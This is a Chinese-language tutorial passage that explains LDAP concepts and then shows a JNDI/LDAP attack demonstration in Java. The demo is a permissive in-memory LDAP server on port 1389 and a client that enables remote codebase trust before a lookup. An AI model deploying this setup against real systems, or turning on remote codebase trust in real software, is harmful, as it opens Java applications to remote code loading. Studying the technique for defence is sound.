1. LDAP
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息(如企业员工信息:姓名、电话、邮箱等,公用证书、安全密钥、物理设备信息等),能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
1.1 LDAP基本概念
条目Entry
条目也叫记录项,就像数据库中的记录。是LDAP增删改查的基本对象。
dn(distinguished Name,唯一标识名),每个条目都有一个唯一标识名。可以看作对象的全路径,RDN则是其中的一段路径(靠前的一段),剩余路径则成为父标识(PDN)。
属性Attribute
每个条目都有很多属性(Attribute),每个属性都有名称及对应的值。属性包含cn(commonName姓名)、sn(surname姓)、ou(organizationalUnitName部门名称)、o(organization公司名称)等。每个属性也都有唯一的属性类型。
对象类ObjectClass
对象类(ObjectClass)是属性的集合,包含结构类型(Structural)、抽象类型(Abstract)和辅助类型(Auxiliary)等。比如单位职工类可能包含姓sn、名cn、电话telephoneNumber等。模式(Schema)则是对象类的集合。
1.2 LDAP攻击
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>2.3.8</version>
</dependency>
public class LDAPSeriServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
public class LDAPClient1 {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
}
}